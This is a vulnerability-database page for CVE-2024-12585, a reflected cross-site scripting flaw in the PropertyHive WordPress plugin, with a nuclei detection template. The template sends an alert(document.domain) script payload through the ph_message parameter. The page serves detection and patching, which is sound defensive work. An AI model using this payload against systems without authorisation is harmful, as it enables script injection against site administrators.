Browse / CVEs / CVE-2024-12585
CVE-2024-12585
PropertyHive < 2.1.1 - Cross-Site Scripting
The Property Hive plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'ph_message' parameter in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to version 2.1.1 or later where input sanitization and escaping are properly implemented.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=ph-settings&ph_message="><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "ph_message", "property-hive_page_ph-settings")Run it with nuclei: nuclei -id CVE-2024-12585 -u <target>
The full check
id: CVE-2024-12585
info:
name: PropertyHive < 2.1.1 - Cross-Site Scripting
author: Shivam Kamboj
severity: medium
description: |
The Property Hive plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'ph_message' parameter in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to version 2.1.1 or later where input sanitization and escaping are properly implemented.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/propertyhive/property-hive-210-reflected-cross-site-scripting
- https://nvd.nist.gov/vuln/detail/CVE-2024-12585
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wp,wp-plugin,propertyhive,xss,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=ph-settings&ph_message="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>", "ph_message", "property-hive_page_ph-settings")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/propertyhive/property-hive-210-reflected-cross-site-scripting
- https://nvd.nist.gov/vuln/detail/CVE-2024-12585
Use this check only on systems you are authorised to test. Where the data comes from